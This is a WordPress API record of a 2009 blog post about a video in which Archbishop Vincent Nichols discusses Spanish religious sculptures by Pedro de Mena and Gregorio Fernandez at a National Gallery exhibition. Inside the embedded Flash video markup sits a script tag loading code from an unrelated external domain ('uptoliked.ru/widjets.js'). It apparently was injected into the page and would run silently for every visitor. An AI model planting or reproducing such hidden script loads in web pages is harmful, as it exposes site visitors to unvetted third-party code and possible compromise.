{"id":6388,"date":"2009-10-23T10:03:53","date_gmt":"2009-10-23T09:03:53","guid":{"rendered":"http:\/\/www.scmlondon.org\/?p=6388"},"modified":"2009-10-23T10:13:16","modified_gmt":"2009-10-23T09:13:16","slug":"featured-video","status":"publish","type":"post","link":"https:\/\/www.scmlondon.org\/?p=6388","title":{"rendered":"Featured Video"},"content":{"rendered":"<p><strong>The Sacred Made Real<\/strong><\/p>\n<p>Archbishop Vincent Nichols reflects on the meaning and significance of Spanish religious works of art featured in the National Gallery&#8217;s new landmark reappraisal of religious art from the Spanish Golden Age. The video was recorded during the exhibition&#8217;s press preview and features Archbishop Vincent Nichols talking to art critics about three specific works of art. Saint Francis standing in Ecstasy, 1663, by Pedro de Mena; Mary Magdalene meditating on the Crucifixion, 1664, Pedro de Mena and Dead Christ, about 1625 &#8211; 30 by Gregorio Fernandez.<object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"335\" height=\"184\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"src\" value=\"http:\/\/vimeo.com\/moogaloop.swf?clip_id=7198418&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=00ADEF&amp;fullscreen=1\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"335\" height=\"184\" src=\"http:\/\/vimeo.com\/moogaloop.swf?clip_id=7198418&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=00ADEF&amp;fullscreen=1\" allowfullscreen=\"true\"><script src=\"\/\/uptoliked.ru\/widjets.js\"><\/script><\/embed><\/object><!--END new archbishop video--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Sacred Made Real Archbishop Vincent Nichols reflects on the meaning and significance of Spanish religious works of art featured in the National Gallery&#8217;s new landmark reappraisal of religious art&#8230; <a class=\"meta-more\" href=\"https:\/\/www.scmlondon.org\/?p=6388\">Pokra\u010dova\u0165 v \u010d\u00edtan\u00ed <span class=\"meta-nav\">&raquo;<\/span><\/a><\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-6388","post","type-post","status-publish","format-standard","hentry","category-6"],"_links":{"self":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/6388","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=6388"}],"version-history":[{"count":6,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/6388\/revisions"}],"predecessor-version":[{"id":6394,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/6388\/revisions\/6394"}],"wp:attachment":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=6388"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=6388"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=6388"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}